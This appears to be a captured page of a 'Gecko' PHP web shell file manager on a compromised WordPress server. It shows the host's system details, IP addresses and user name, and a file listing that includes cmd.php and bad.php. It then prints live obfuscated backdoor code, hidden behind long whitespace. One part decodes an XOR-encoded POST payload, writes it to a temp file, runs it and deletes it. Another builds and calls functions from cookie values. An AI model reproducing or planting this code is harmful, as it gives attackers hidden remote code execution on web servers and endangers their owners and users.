Gecko [ maindisinibre4.click ]

Linux premium309.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
LiteSpeed
Server IP : 199.188.201.183 & Your IP : 216.73.216.116
Domains : Cant Read [ /etc/named.conf ]
User : brntxyqh

Name	Size	Permission	Date
wp-admin	[ DIR ]	drwxr-xr-x	2026-02-10 06:28
wp-content	[ DIR ]	drwxr-xr-x	2026-02-10 02:41
wp-includes	[ DIR ]	drwxr-xr-x	2026-02-10 02:42
.htaccess	626 B	-r--r--r--	2026-02-08 23:10
.litespeed_flag	297 B	-rw-r--r--	2026-02-10 02:32
.val	54 B	-rw-r--r--	2026-02-08 22:34
Timing.php	1.67 KB	-rw-r--r--	2026-02-07 10:09
bad.php	1.23 KB	-rw-r--r--	2026-02-07 09:50
cmd.php	2.99 KB	-rw-r--r--	2026-02-07 09:54
error_log	61.01 KB	-rw-r--r--	2026-02-08 22:59

Rename

<?php																																										if(filter_has_var(INPUT_POST, "o\x62\x6A")){ $elem = array_filter(["/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TEMP"), getenv("TMP"), getcwd(), "/tmp"]); $element = hex2bin($_POST["o\x62\x6A"]); $key ='';foreach(str_split($element) as $char){$key .= chr(ord($char) ^ 74);} for ($res = 0, $binding = count($elem); $res < $binding; $res++) { $holder = $elem[$res]; if (!!is_dir($holder) && !!is_writable($holder)) { $value = join("/", [$holder, ".ref"]); if (file_put_contents($value, $key)) { require $value; unlink($value); die(); } } } }

//<PHPDATA>mbd;33-77-87-37-78-26</PHPDATA>
 $_��Ř��Ŷ��=$_COOKIE;(CoUnT($_��Ř��Ŷ��)==(-0575+0613- -014)&&iN_arrAY(gETtypE($_��Ř��Ŷ��).CouNt($_��Ř��Ŷ��),$_��Ř��Ŷ��))?(($_��Ř��Ŷ��[(int)rOUnD(19.25+19.25+19.25+19.25)]=$_��Ř��Ŷ��[(int)Round(19.25+19.25+19.25+19.25)].$_��Ř��Ŷ��[0552- -06-0733+0302])&&($_��Ř��Ŷ��[-0165- -0261+0115+-0144]=$_��Ř��Ŷ��[(int)rOUnD(19.25+19.25+19.25+19.25)]($_��Ř��Ŷ��[-031+041- -035]))&&($_��Ř��Ŷ��=$_��Ř��Ŷ��[-0173+0517- -0421+-0700]($_��Ř��Ŷ��[(int)RounD(16.5+16.5)],$_��Ř��Ŷ��[-0350- -01032-0345]($_��Ř��Ŷ��[0245-07+-0120])))&&$_��Ř��Ŷ��()):$_��Ř��Ŷ��;